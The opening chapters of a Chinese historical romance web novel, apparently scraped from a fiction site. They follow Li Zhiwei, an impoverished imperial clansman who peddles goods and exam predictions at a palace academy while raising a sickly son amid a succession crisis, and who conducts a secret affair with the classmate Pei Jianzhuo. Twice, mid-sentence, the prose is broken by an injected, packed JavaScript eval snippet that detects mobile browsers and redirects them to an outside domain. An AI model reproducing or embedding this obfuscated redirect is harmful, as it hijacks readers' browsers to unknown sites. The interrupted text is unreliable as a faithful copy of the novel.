《父凭子贵》 1. 缃帙第一1 延康七年五月,苦雨不止。 五更方过,蓬莱宫丹凤门城楼报晓鼓声震天而起,随后千钟百鼓嗡鸣交织,辐射市坊。雨水沿着朱栏上的螭首汹涌而下,如瀑如帘。 螭兽吐珠,天地晦冥,永乐城在泥泞中艰难苏醒。 廿一日是每月正定的朝参之日。文武百官不等天明便纷纷出门,冒雨踏泥,或骑马或乘轿,匆匆赶在刻漏尽前验明鱼符入宫面圣。 待群臣入毕,李知微姗姗来迟。 他身型不高,却背着个比他人高出一头的大背篓,压得眉目也不分明,在威严的含光门面前更显渺小,仿佛朱门金钉上的一星白漆,周身更无配饰,显然不具有朝参资格。 而门口执戟的羽林卫士竟未驱逐他,连搜查都没做,便挥手道:“又买东西去了?快进去吧,跑几步,要上课了。” 李知微把袖子里的小饼塞给他:“多谢多谢,今日他们手脚慢了些。”便背着大背篓笨拙跑动起来。 新来的卫士惊道:“他是昭文院的学生?!” 老卫士一边吃饼充饥,一边笑了。 普天之下,学院万千,能建在皇宫之中的,就只有“天下第一学”昭文院。 地理位置注定它学生稀缺,初设时仅招收年满十五的近支宗室和勋贵子弟,如今规模稍大,也不到百人,再怎么样也要远支宗室或五品以上官员子弟经考试后才可入学。 李知微符合前一条。 他是太祖皇帝第五世子孙,从辈分上来说,是今上皇弟。 不过也并不妨碍他穷。 宫中道路修得再好,连日大雨,也难免有些坑洼,李知微一路行来,下摆上难免沾染少许泥星。他还没来得及心疼,便急忙弯腰从靴中取出一寸薄纸。 鞋子并不防水,纸上墨水晕开一些,但字迹尚可辨认,签押也没有糊。 “凭此付钱一百贯。崇贤里吴。” 一张可在永乐城任何钱柜上兑换的飞钱,李知微今天起早的动力之一,儿子善思一个月的药钱,也许还可以给他换一顶新床帐,又或者…… 他把薄纸塞进袖中,重新背上书篓,穿过庭院连廊,转入书斋。 他今天来晚了,书斋中零零散散已坐了不少学生。 “咚——咚——” 忽而又数声钟响。 学生们一头雾水。 “不是才进去吗,怎么就敲起了散朝钟?” “是不是下雨的缘故,圣人不上朝?” “圣人向来勤政,怎会因雨辍朝?唉,南城淹得厉害,我爹这几日愁得嘴角起燎泡,我见了他都绕着走。” 说话的是京兆韦氏长房幼子韦弘贞,他爹新领工部,正为内涝焦头烂额。但他今年刚满十五,对父亲的忧心体会不深,一转头看见李知微进了书斋,立刻扑上去:“十六郎!你……” 李知微停步,脸上扬起微笑:“七郎安好,怎么啦?” 韦弘贞递出一方素帕,结巴道:“你、你是不是淋雨了?” 李知微一怔,果然感到额间有雨水滑落,温热地淌过鼻梁,大概是檐下的某一滴:“多谢。” 他回到座位上,用帕子细细拭去额间潮湿,一边竖起耳朵,听学生们议论纷纷:“陛下辍朝,才不是因为下雨呢!” 昭文院的学生们不是宗亲外戚,便是宰相公卿之子,又偏生年幼,口无遮拦,将朝廷隐秘当成交际的资本。 不过,这也许就是昭文院设立的初衷,叫这群五陵少年同窗交往,最后一起,与皇族执掌国家。 果然众人不自觉地聚拢过来:“那是为何?” “还是不是因为六皇子他病……” 到底还是有人机灵,打断道:“哎,别说了!” 李知微神色未改,安坐最后,抖开书篓上的油布,取出最上层的课本。 昭文院不愧是天子荫学,每本书都裹着浅黄锦帛,以示崇学之意。 他不止一次想过,这些书帛若是能卖,定值不少钱。但每本书都有数目,流入市场必被追查,他虽然缺钱,却还不至于糊涂到自断前程。 将书分作两摞,一摞推向空着的邻桌,书篓里的物事这才显露真容:胡饼、蜜渍果脯、不倒翁、陀螺、鸟哨、叶子牌…… 尽是食物玩器。 李知微刚收拾好,韦弘贞便像有感应般凑过来。二人交换一个眼神,李知微从书篓里取出一张饼递去:“快吃吧,要上课了。” 韦弘贞接过饼咔嚓一声掰开,塞进口中咀嚼,含糊道:“嗯嗯!” 忽然有人出声:“十六郎,我也没吃!” “刚好我多带了些,别饿着肚子上课。”李知微笑道。众人心知肚明这不是多带,而是买卖,却仍一拥而上,几张薄饼顷刻分尽。 一边吃还一边夸赞:“十六郎的饼就是比我家的香。” 李知微但笑不语。 何止是香,价钱更是翻了十倍。不过谁让他姓李,是太祖皇帝的后代,论血缘还算当今圣上出了五服的兄弟。卖得贵些也是应当,吃得就是个天孙揉面的滋味,这里也没人会计较一张饼卖五钱还是五十钱,只要能取乐,五千、五万又何妨? 反正他们有的是钱。 李知微在这圣人之地做着铜臭生意,十分坦然自若。 昭文院规矩大,又在宫城之内,审查极严,任谁也不能带仆从入内,更别说零嘴玩器。少年们终日无聊,倒让李知微捡了便宜。 与大多数走读生不同,他得了特许寄宿学院,每日早起出宫到附近的坊市买点吃食玩物,再到学校里倒卖,卫士们看他可怜,又受他的好处,也就睁一只眼闭一只眼默许,并不仔细搜身。 毕竟昭文院建院百年来,也就遇上这么一个穷学生,多稀罕。 记好账后,李知微又开始清点书篓中的存货。 早晨的生意最好,少年人贪睡,起床时往往没有胃口,过了早课才觉饥饿。除了李知微这儿,别无他处可买吃食。况且今日运气不错,老先生不知被何事耽搁,过了时辰还未现身。学生们边说边吃,不一会儿,李知微篓中就只剩两三张胡饼和一个精巧食盒。 不急,到了下午,他们自然会饿。 “宫里张榜招神医?其实不止宫里,徐家也在寻医问药,还求到我家来了,想借薛喑,我们只推说病了。” “薛兄,徐三就在隔壁书斋,你小声些。若让他知道,告到淑妃娘娘那里,可就麻烦了。” “怕什么?他今日肯定不会来上学。若是——哼,也就是陛下宽仁,换作从前,徐家那般寒微门第,也配与我等同席?” “先生来了!快回座位!” 霎时间猢狲四散。白胡子老先生蹒跚入门,先嗅了嗅空气中残留的食物香气,而后举起枯枝般的手指,眯起老花眼喝道:“安静!” 书斋内顿时鸦雀无声。 李知微翻开书本,脑海里却浮现出徐家三郎的模样。那人也曾受同窗怂恿来找他买东西,一株假的千桃销魂花,开价五千钱,明明肉痛却强作潇洒,说这不过洒洒水,他姑姑徐淑妃年赐家中百万钱,根本不在乎。 徐氏并非望族,徐三能入昭文院,全凭徐淑妃在御前求情。 而淑妃,正是魏王李承节的生母。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349927|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李承节,是皇帝李成钧仅存的儿子,爱到不顾父子避讳,将御名中的同音字赐下。 这个儿子来的不容易。 或许是因为今上登基时沾染了太多血腥,近支宗室凋零殆尽:五位叔伯相继获罪,三位兄弟先后绝嗣,六个儿子无一成年。长子暴卒,次子早夭,三子坠马致残而亡,四子被皇帝盛怒之下踹中心口吐血身亡,五子受惊病故,唯余六子如珍似宝地养到七岁,特封为魏王。 若是魏王也死了…… 诅咒一个无冤无仇的孩子,实在缺德。但这念头如虫蚁般钻入李知微的脑海,再也挥之不去。 皇帝的叔伯兄弟早已绝后,再往上追溯,便是李知微这一支了。 书斋中无人察觉这一点,谁也不会留意一个落魄王孙捏着书页的颤抖指尖。比起这个,他们更关心同窗交往——毕竟毗邻的书斋里坐着王朝未来二十年的掌舵人。学业也值得忧愁:昭文院每年考较“经”“史”“策”“书”四门主课,以“天”“地”“玄”“黄”评定学力。“天”字斋毕业生可由朝廷直接授官,对许多无法承袭爵位的次子而言,诱惑极大。 而这个年长他们七八岁、至今仍在“黄”字斋留级的贪财破落户,简直是全院笑柄。除了皮相好些,实在乏善可陈。 但李知微按捺不住内心的激荡。若魏王夭折,陛下迫于无子,必会从宗室中择嗣。他的儿子善思作为皇侄,就有万分之一的可能…… 这个念头让他心中一痛,因为善思的身体也很不好。 李知微目光掠过早已熟读的课本。曾任帝师的孔明达今日不知何故讲起了《易》,龟甲蓍草排出一副奇异卦象,苍老的声音在雨声中震荡。 “此即‘明夷’卦。” 李知微低头作沉思状,实则将老先生的话当作耳边风,一双手在桌下灵巧动作,转眼便用红纱裁出一朵牡丹。夏季仕女们衣着轻薄,最喜大花衬容,定然好卖。 “‘明夷于飞,垂其翼也。’明夷,即是金乌。‘初登于天,照四国也;后入于地,失则也。’金乌坠地,则天失其日,地藏其明,万物昏晦,天生异象。” 浓云翻墨,李知微昨夜熬得太晚,做手工时不自觉眨了眨酸涩的双眼。 “天有异象,君子有德,三日不食……” 话音戛然而止。 李知微忙里偷闲抬头,只见一片雪白院服的尽头,青苔檐下雨帘前,静立着一团火焰。 身穿红袍的裴见濯在混沌雨色中格外醒目。 素来严苛的孔明达竟未斥责:“为何来迟?” 略带沙哑的嗓音答道:“回先生,家中有事。” 不知谁的笔坠地,往后骨碌碌滚到李知微的靴前,他手下一重,一朵即将成型的牡丹就此夭折。 孔明达面色凝重:“进来坐好。” “谢先生。” 那团火烧过墙垣,来到李知微身旁。 裴见濯似乎倦极,一落座便伏在案上。 老先生的嗓音凝滞风雨,并未计较他的怠惰。而他的手却借着书案的遮掩,悄然左探,扯住了李知微手中的红纱。 李知微松开手,任他将红纱夺去撕扯。他抬起头,手却从桌下取出那只精巧食盒,唇不动,声如丝缕,唯有凑得极近才能从他微蹙的眉间读出担忧:“下雨了,给你熬了汤驱寒。” 桌面的记账本摊开着。 “收钱么?” 大约没人会在孔明达枯燥的易学课上绽出笑容,除了李知微。他正襟危坐,话语从齿间逸出:“你的话,不收。” 红纱打了个旋,覆住鞋尖。 2. 缃帙第二2 李知微很穷。 君子之泽,五世而斩,皇家也如是。太祖皇帝生有二十三子,虽说死了不少,可到底还有四五支传下,子生孙、孙生子,到了李知微父亲这里,宦海浮沉一生,才凭着宗室名头,做到水部郎中。 官场失意,情场得意,他老人家一鼓作气,生了十八个儿子,女儿另算。 李知微是第十六个。 生着生着,他老人家一口气没上来,死过去了。 得了,分家吧! 那年李知微八岁,还没成年,大哥继承了泰半家产,还得了荫封和一堆锅碗瓢盆,就勉强养着未成年的兄弟姐妹,最多时有二十来个,宗族父老看不下去,偶尔支一点钱给他们,李知微这才跌跌撞撞活到十来岁上。 当时,魏王还没出生,皇帝膝下凋零到只剩下五皇子这一朵娇花。为了让儿子感受点人气,皇帝决定效仿太宗,送他到昭文院读书,一来活泼些,二来也算交结人脉,早早搏个贤名。 真是可怜天下父母心,他一个不知沾了多少亲人鲜血的皇帝,到中年,也生出慈悲心肠。 大笔一挥,他命令昭文院扩招扩建,算作五皇子入读的恩典。近支宗室死的差不多了,远支宗室也可以来读,通过考试就行了。 昭文院即使扩招,门槛也并不低,题目难得堪比进士科,既要赋诗,又要策论,甚至还有明经的题——默《尧典》。 李知微就这样被录取了。 报喜的使者在北城寻觅半天,甚至去了东西市场乃至平康坊,最后,不可置信地踏入南城泥巴地,看到了正骑在梯子上补屋顶的李知微。 外头大雨,屋头小雨,李知微多云转晴,坐梯起价。 “我没钱买书,也没钱做院服,而且从这里到昭文院,要跨过半个永乐城,晚上放学,怕没到家就宵禁了,进不得坊内,需要院里给我开张条子,以免被人捉去审问。” 院正大笔一挥,都给你解决! 昭文院财大气粗,本来也不收学费,做两套衣服,更无所谓,至于住宿……给你买马?不不不,你家里也养不起马呀! 刚好藏书楼旁边还有一排小屋,空着也是空着,你去住吧。如果实在过意不去,秋天叶落长阶,你也可以去扫一扫。 扫没扫落叶,大家不知道,但,他把大家伙的钱包给扫空了。 毕竟要考到昭文院,起码是公侯藩属,而在此地住宿,又要满足父母亡故、未有家室两个大前提,更别提默认的“家宅偏僻”“生计无着”等条件,真是他让你住你都不好意思住,一住进去,脸也丢尽。 因此,八年来,昭文院仅有过两个住宿生。 一个是李知微,另一个,也是李知微。 这让他形成了垄断。零嘴玩器都是小事,此地不许书童入内,郎君们笨手笨脚,一会儿带错书,一会儿笔秃了,一会儿墨干了,就连衣帽破了,花点小钱,他都能拿出针线帮你补好。 毕竟,他家就在后头,要什么有什么。 什么,昭文院总有小厮杂役做这些? 开玩笑,这些杂役也姓李? 不过,李知微真正赚钱处,还在于押题。 谁都不知道他是不是借着住宿的便利去偷瞄考卷,又或者是留级多年,对老师风格都有长足了解,反正押得很准。 既然押得准,那就掏钱吧! 毕竟考试等第,不仅决定了你能否毕业,还决定了你以后的仕途。尤其在皇帝广开恩科,文武双举并行的今天,即使是士族贵胄,也不见得代代冠盖。 若是能在昭文院搏个名声出来,就是在皇帝面前也能挂上号。 哎,等等,他可不是谁都帮忙押题的! 要想被押题,翻开账本,看看你消费排第几,平日里一个子不花,就别想临时抱佛脚。 君子有所为有所不为,李知微有所押有所不押。 当然,你也可以去院正那里告他,只是,把他告走了,平白无故少个姓李的伺候不说,更拔出萝卜带出泥,从前那些买过押题卷的考生,成绩怎么算? 就这样形成一种诡异互保,昭文院,尤其是他本斋同学们手上的零用钱,被一扫而空。 当然,有一个人的钱,他不赚。 裴家二郎,裴见濯。 真是麻绳偏挑细处断,再家大业大,没成家前,家族都不可能无穷无尽供给钱财,要在昭文院里做李知微消费榜上前几,足以让这帮子弟勒紧腰带。 可裴二不一样。 他是真有钱,真没人管! 裴家本就是河东名门、公侯望族,祖上随太祖皇帝起兵,已有爵位,到他这一代时,更出了个天才—— 这天才说的不是他,是他兄长,人称“八元相公”裴照元。 他姓名带“元”,是裴家长房元孙,虽可推举入仕,仍下场应试,府试、省试、殿试均擢第一。登博学宏词科甲第后,又应贤良方正科夺魁,再娶先帝元女、今上胞妹长宁公主,婚事至今仍是永乐城一段佳话。 如此,凑得八元。 他文星罩顶也罢,偏生武运昌隆,曾助今上兵谏,夺得帝位。如今更是名列鸾台,为国朝四位宰相之一。 有这样一个兄长,足够裴见濯在永乐城横着走。 况且他还是地地道道的老来子,与兄长差了近二十岁。出生时母亲崔夫人已有四十余岁,应做祖母的年纪,却悄么声怀藏明珠还无人发觉,夫妻感情老来犹存,倒让人好生艳羡。 不过,也许是中年生子伤了元气,再加上裴父后来外调扬州,水土不服,裴见濯十三岁上,他们便离世了。裴照元勤于王事,心疼弟弟幼失怙恃,要星星不给月亮,据说裴家库房任他支取,不够,还可以上隔壁长公主宅里向嫂子伸手。 昭文院这读书的名额,还是长公主上御前要的。 看在这份上,哪怕他天天迟到、月月早退、年年留级,也没人吱声。 就这样一个人,李知微竟不问他要钱! 难道就因为他长得好看? 当然,若说好看…… 一堆白花花学子服里猛然蹿出一点红,饶是谁也忍不住多看两眼,先生犹自滔滔,他却早早酣眠梦乡。 李知微继续扯出手掌大小的红绢在桌下剪裁,孔明达上课严,他就做些动静小的,做着做着,他不自禁往旁边瞥了一眼。 好看是很好看的,即使昨日宿醉未得好眠,眼下浮青也好似一弯钩那样吊着人,不是很友好的长相,睡着的时候,唇会微微下挂,眉头也皱着,仿佛有很了不得的心事。 他还会有忧愁吗? 李知微想起一桩旧事。 当年,裴氏老夫妇在扬州病逝,裴见濯本应扶灵回京,却坚持原地守孝三年,直到十六岁才返回永乐城,入昭文院读书。 长公主在御前打包票,说此子乃天生奇才,日后成就绝不在其兄之下。 皇帝极其疼爱妹妹,此言一出,裴见濯入院直入“天”字斋。众人都以为他不过蜻蜓点水般在昭文院镀层金,便会在兄长庇护下平步青云。 他来上学那天,万众瞩目,不是为他,而为他兄长。 裴照元会来送弟弟上学吗? 李知微只在很小的时候和裴照元见过一面,裴照元少年时便声名极盛,中第后更是轰动全城,长街上尽是起居幕次、如山彩棚,十里路略无一处空闲,李知微那年还有母亲,被她牵着到外头,矮矮小小的,只看见裴郎马蹄下的一点花泥。 他随手抛花,众人哄抢,扔来扔去的,竟到了李知微怀中。 若是见得到裴照元就好了,他心里难免如此期待。 他现在成了什么样?总之,比那年还要光彩,还要荣耀。 舆论早已将他捧为神话。做文官是他门生,做武将也得拜他,就是想尚公主吃软饭,也免不了奉他为前辈。 坐立难安地等到晌午时分,裴见濯独自一人、空空两手,姗姗来迟。 当时就有见过裴照元的子弟叹惋道:“裴郎潇洒如玉,奈何目之不亲,若能学得元公三分玲珑,天下无敌也!” 李知微在很远的地方,看裴见濯走到那人面前,挥起一拳。 “哎唷!!!” 一声哀嚎,人群骚动。 “怎么打起来啦,快把他们分开,去找先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349928|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生!” 李知微看完热闹,安静离去。 午膳过后,他就有了个新同桌,“黄”字号倒数并排。 裴见濯真不愧是裴照元的弟弟,炙手可热,连学正也退居一射,打了同学,也不过是降级,没有受到任何处罚——据说是因为他打人的时候还没有正式入学,所以不能以校规处置。 整座书斋静悄悄,李知微动了。 他给了见濯金疮药、伤膏、纱布,还有一套笔墨,都没要钱。 两人同声同气同留级,一留就是快四年。 四年里,裴照元一次都没有踏足昭文院。 宫禁森严,裴相来去任意,这方寸之地,竟从不得他的光临。 他的模样,李知微至今不得知。 大概是很了不得的长相吧,毕竟金殿点魁、雀屏中选,都是很看脸的,既然说裴见濯少了兄长的八面玲珑,那裴照元应该是和气温柔的。 裴见濯睡得摇摇欲坠,头小幅度动着。 嗯,如果唇上翘,的确会更好看些。但李知微觉得裴见濯板着脸也挺可爱,年轻的时候不耍横,什么时候耍? 李知微忍不住笑了一下。 裴见濯猛然睁开眼睛。 他还没睡醒,懵懂间,下意识面向李知微,努力拨开眼前水雾:“还没好?” 埋怨清晰无比传到堂前,惹得孔明达忘了下文,在台上停顿半晌,又报复似的更加慷慨激昂。拖过晌午,又至黄昏。 丹凤门城楼上又撞出钟声,回廊上学生络绎离去,孔明达却不动如山,直至人潮散尽,暴雨如雷。 “今日题目,便是论‘箕子之明夷’一句,旬日后回课。” 李知微剪好了两朵花,趴在桌上抄书;忽而觉得腰上一沉,裴见濯正百无聊赖地玩他腰间的香囊。 学生们哀声怨道。 “雨下大了,都怪老孔!早上他就拖,害我午饭没吃饱,下午还说个不停,要是早半刻下学,什么事儿也没有,从这儿到门口有好一段路呢,不让人进来接,我又没带伞,这不得淋湿透了。” “他是老了又不是瞎了,看不见别人都走了吗?这下好了,我要是淋雨有个好歹,看我爹不整死他。” 李知微把香囊从裴见濯手中扯出,扬声笑道。 “我这有伞,淋什么雨?我今日白天出门时便看天气不好,特地多背了几把,快拿去吧。” 众人犹豫不定。 真是个笑面虎,说得好像伞不要钱那样! 可也的确没带伞,怎么办好? 犹豫之际,韦弘贞急急转头:“还好有你,十六郎!不然我这怎么回去,自己淋一淋倒没事,书坏了才难办。” 众人如梦初醒:“我要一把!”“给我留一把!”“还得是十六郎!” 李知微温和道:“我带的很够,慢些来,不要踩到人。” 转瞬间,五百钱一把的天价油纸伞销售一空。 钟鼓与风雨未曾止歇,待三千声响过,整座永乐城便要在暮色中安眠。一旦宵禁,各色人等不许上街,否则以刑法论处。 书斋空荡荡,只剩下李知微,还有烧着的一团火。 腰间再次一沉,野火烧断珠穗。 “昨天没睡好。”李知微望着他,目光里满是担忧,“要不要到我那里去歇歇脚?” 昨天发生了什么事?你兄长如此近臣,若有风吹草动,你必然知晓。 裴见濯懒洋洋地:“没伞了?” 李知微面色不改:“还有最后一把,给你。” 可他们还是肩并着肩,走回了李知微的小院子。 李知微为他撑着伞,小伞容不下两个成年男子,见濯已经比他高出许多,他的伞又偏得厉害,雨丝很快浸透半边衣袖,牢牢黏住手臂。 掠过书斋,穿过回廊,行过校场,巍峨藏书楼后,挤着一排庑房,两三间围成一个院子,天将暗未暗,没有灯火,万物泛着幽幽的蓝。 李知微五岁的儿子,搬了一把小凳,坐在檐下听雨。 “善思!”李知微收了伞,用一种孩童的夸张语气哄儿子,“你看谁来啦?” 3. 缃帙第一3 “马上就要六月了,六月就是季夏。” 李知微在里屋摆弄,裴见濯和善思被赶到外面,万般无聊之下,他给善思讲了六月的故事:“在六月份,蟋蟀住在墙里,小鹰开始学习飞翔,腐草变成了萤火虫……” “草变成虫子?” 裴见濯“嗯”了一声,在孩子面前,他脾气很好:“这就是腐草为萤。之前咱们不是讲过春天的时候吗,春天,田鼠变成小鸟,就像老鼠变成猫,是不是老鼠少了,猫就多了?大家都这样变来变去。” “人也这样?” “人也这样,没了一个人,田野间就多一株草,或者树上多一只鸟,一只蝴蝶,一只鱼,都有可能。” 善思轻声说:“所以,死也没什么。” 裴见濯一惊一默,下意识向后看去。 刚好李知微挑帘出来:“吃饭了!” 裴见濯松了口气,忙不溜打了井水和善思洗了手,到佛堂去。 所谓的佛堂,不过是学院拨给李知微的两间庑房中较大的一间,里面供奉着一尊阿閦佛像。 不同于常见的铜胎金身佛,李知微家中所供奉的佛像通体发蓝,结跏趺坐,高踞青色宝象、莲花兰台之上,目光慈悲,俯瞰信众。 裴见濯没有这方面的信仰,一松手,善思便像块磁石那样,自动吸附到父亲身边,合十默祷。 善思从会说话走路开始,李知微就教他礼佛,他问李知微,要对佛说什么?李知微说,想对母亲说什么,就对佛说什么。母亲都能听见。 所以他拜佛时,总是嘴唇翕动。 李知微不知道儿子在说什么,只是静静发呆。 院内不让点灯,自然也不许焚香,佛前只有瓜果供奉,双眼聚焦瓜果时,佛像上的蓝便远了,在眼尾晃动。 他也并没有释教的信仰,这尊佛像,是他亡妻薛妙施的遗物。 薛妙施出自关中薛氏,母亲窦氏与李知微的嫡母是亲姐妹,李知微考上昭文院,便在雀屏之列。 一个是天家远支,一个是阀阅旁系,盲婚哑嫁,他们十六岁成婚,第二年就有了善思。李知微搬出昭文院,赁了一间院落。他没钱,小家落魄的可怜,聘雁都半死不活,他用了妻子嫁妆,和她保证,会花最短的时间毕业、入仕,给她最好的未来。 薛家的这笔投资不会出错。 薛娘子雀跃附和:“那我就是宰相夫人了。” 但她死了,留下一个孩子,还有一尊慈云寺里请来的阿閦佛。 她信仰释教,性格温良,常年茹素苦修,定期捐助香火,想去供养僧侣,可一直没能如愿。小臂长短的佛像,花掉她大半陪嫁。临走前,她还在念着祈福咒语,拉住李知微的手,然后松开。 李知微记得每一个音节。 唵,加沙那,毘加帝,娑婆诃! 阿閦不动佛,妙色身如来。 我今恭敬而顶礼,合掌至心作祈请。 瓜果香气盈至鼻尖,李知微将双眼睁开一线。 善思的嘴唇停止翕动,正痴痴望着佛像,似乎在寻觅什么。 妙施。 李知微在心里呼唤妻子的名字。 妙施,如果你在天有灵,请你帮助我,保佑善思,保佑他健康长大。 帮助他,成为…… 顶礼三回,李知微长吐一口气,捉袖回身,拍了拍善思身上的灰尘,宣布:“吃饭吧。” 裴见濯率先转身,离开佛堂。 学院本非寄宿之地,李知微父子本就只有两间矮屋,李知微还辟出一间供奉佛像,佛住的地方多,人住的地方就少,父子俩挤在一间屋中起居,再进来一个见濯,空间便更为狭窄。 李知微挪开货物,才有空地可以支桌子;踩凳踮脚,从橱柜顶拿了两碗泡好的青粳饭与两个胡饼;伏趴弯腰,从柜与桌的空隙间找到腌菜罐,忙活一通后,他开始分筷子,发现青粳饭被放在了自己的位前。 比起白米饭、粟米饭,青粳饭要珍贵得多。 它需要将药用的南烛树叶碾捣成汁,浸泡粳米,九浸九蒸九曝后才可制成。 制作工序如此繁琐,价格自然也居高不下,许多人逢年过节才能吃上一碗,但因其久服可以补暖养生,李知微便将它当做善思的主食。 当然,再贵的价格,对裴见濯来说,也不过是毛毛雨。 李知微不和他说什么“特意留着招待你”之类的话,神情自若:“我不爱吃。” 见濯也很坦白:“我也不爱吃。” 两个人哈哈笑起来,李知微摸了摸儿子的头:“等善思长大,善思也可以不用吃了。” 善思年纪尚小,并不知道自己是因为身体太弱,才不得已用昂贵的青粳饭滋养身体,更不知道自己平日里的用药要耗费父亲泰半积蓄,只将这当做成长路上的必经之路,严肃地“嗯”了一声。 果然,青粳饭是很难吃的,大人们都不爱吃。 一人一个胡饼,配着腌菜,青粳饭就放在中间,泡着水,把筷子惹得湿淋淋。 “我准备在院子里种点菜,你帮我带些肥?” “肥?”见濯挑眉,“你要哪家的,我让人买来。” “当然是你家的。”李知微和他从无经济上的牵扯,“若市场上有,我放假了去买便是,何必麻烦你。” “我家?” 李知微笑道:“是啊!你家的‘二乔’牡丹,人称天下第一,我就想着是不是有秘制花肥?让我种点漂亮的菜出来。” 若说他不爱钱,五十钱也追着不许赖账;若说他爱钱,问裴见濯要的,却全是一些荒唐玩意儿。 拿催育牡丹的独家秘方来养菜叶子,他当是第一人。 说起自家名花,见濯不见喜怒,语调平淡。 “牡丹没开的时候,花苞如鼠,二乔分外像,用了这肥,仔细长出老鼠菜。” 一旁的善思皱起眉毛。 他不喜欢老鼠,老鼠会咬他的床帐,咔滋咔滋响,每当这个时候,李知微就从外面请一只猫回来,可猫毛会让他浑身发痒。 李知微点头:“原来如此,我最近在剪牡丹花样子,你过几日带一朵给我?韦七说,你家的花总比外头谢得晚些。” 当然,韦弘贞的原话是,即使是鲜花也舍不得离开裴郎——大的那个。 见濯撩起一筷青粳米,水波在桌面荡开:“昨日下雨,都浇散了,明年我给你拿。” 明年也还是给我拿,也不准备请我进你家里去看一看。 不过李知微不在乎,明年太遥远,他等不了。 “嗯,今年雨水是很多,早上你没来时,韦七还说呢,雨把蓬莱宫给淹了,圣人出不来,只能放散百官。” “他迟早死在这张嘴上。”见他频频提起韦弘贞,见濯冷冷道,“真要是因为蓬莱宫淹了,第一个死的就是他爹。” 看来,他知道皇帝为什么不上朝。 二乔因一萼能开两色闻名于世,为裴照元情钟。 裴宅牡丹最早开、最晚凋,便是他精心操控温度,据说还搭建彩棚,让仆人听他吩咐开关,往里面增冰加炭,只为牡丹舒展重瓣。 花期未过,却因雨凋谢,只能说明,裴照元昨天不在家中。 “他年纪小,说话夸张些,博取大家注意罢了。” 李知微把善思抱到桌台上,起身收拾碗筷,见濯帮他把桌子折起,塞入橱柜与 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既然能跳上去,就能退回来。 李知微还是其中一个。 裴见濯又指出:“李景毅和李重宪,都在地字。” 一粒青粳乌米飘到水面上,被李知微抓住。 炙手可热的宗室们。 李知微的远方堂兄弟。 霄壤之别。 “魏王就是这两天的事了。” 见濯的声音自身后传来。李知微没有回头,指间用力,碾开那粒粳米。 “他一死,宫中就没有皇子,群臣必得进谏陛下过继宗子,这两人都有儿子可备选。韦弘贞没时间一级级考了。” 他要以最快速度进入地字斋,结识未来太子的父亲。 昭文院的权威也可见一斑。 外头并不是没有别的宗室有儿子可以备选,可大家就默认会在昭文院里的宗室中挑——考不上昭文院,要么是不聪明,要么是没能力,你儿子自然无法子凭父贵,入主东宫了! 李知微也有儿子可以备选。 但他不去理魏王,故意绕着韦弘贞打转:“我记得李景毅的妻子是太原王氏女,还是旧中宫的堂妹,韦王两家世代婚姻,韦七应该是为了他。” “李景毅?废物一个。” “那,李重宪?他素有才名,所娶荥阳郑氏女,亦能咏絮,李景毅比他大,却和他学力等同,想必圣人也觉得他家更聪明,生的小孩脑子更灵光。” “李重宪?十足蠢货。” 李知微笑了:“你怎么看谁都不顺眼,若换了是你,总要选一个,你选谁?” 他捞出碗筷,沥入竹筐。身后一时无声,见濯大抵正望着他的背影。 “我选你。” 手上一个顿也不曾打,李李知微拎起盆,将水哗地泼入雨幕,转身笑道:“是,我是李家头一个靠自己考上昭文院的,论聪明,真是前古未有。” 二十三岁还在黄字打转的李知微,把碗筷放进盆中。 水珠滑啊滑,房门大开,善思又拖来小板凳,坐在中心看雨。 那是他最喜欢的事。 “更何况,我也有儿子。” 李知微将善思单手抱起,安置在小床上,小床也是简易支的,拼在大床旁边:“好了,善思要睡觉了。” 夜色一寸寸染透窗纸,知微把鲛绡帐放落,在帐外点好特制乳香,给儿子掖好被子。 夏夜静谧,他回头望向见濯,问道:“你呢?” 你是想睡觉,还是想,干些别的什么? 4. 缃帙第一4 雨后天地一新。 不知道是不是潜意识里也在期待,当被大雨打落的知了再次爬上树枝歌唱,潮湿的晚风拂过阶前,李知微由衷愉悦起来。 他跪坐在檐下,仰望着屋檐外无垠无光的夜空。远处的蓬莱宫在夜色中闪耀。忽然腿上一沉,裴见濯躺倒在他怀中,贴近得仿佛能听见他的心跳。 见濯如果不是见濯,他会不会和他在一起? 他的手下垂,搭在见濯肩头。 和裴见濯在一起,已经快半年了。 去年冬天,也是这样时候,见濯在桌子上趴着睡着了,人尽散去,李知微没走,静静坐在他身边抄书。 见濯醒的时候天色晚了,知微邀请他去自己的小屋子吃饭,吃完,见濯留了下来。 昭文院的冬天是最难熬的,因为不许点火,可裴见濯来了,好像又暖和起来,两大一小躺着,善思的呼吸放长,忽然间,一个吻落在知微的脸颊上。 什么也没说。 李知微没有拒绝他:“明天,善思回他阿翁家里。” 黑暗里,见濯的睫毛压下来,意味深长:“喔。” 再无人言语,也无需任何挑明,一切便成了惯例。 冬去春来,转眼炎夏。 李知微掏出蒲扇扇风,地面残存的潮气把见濯灿烂的红袍洇出残香,牡丹香,裴宅的气息,他轻嗅。 裴见濯闭着眼睛,率先开腔:“哎,明天咱们去哪?” 这里仅有一间房,不能吵醒孩子。唯有五日一次的休沐,善思前往外祖家时,他们才得亲近。 他们会在那日出门,于偌大的永乐城中游逛,并肩走在街市坊间,宛如一对真正无忧的少年契侣,只是需避开崇仁坊那样的高门云集之地,以免见濯被人认出。 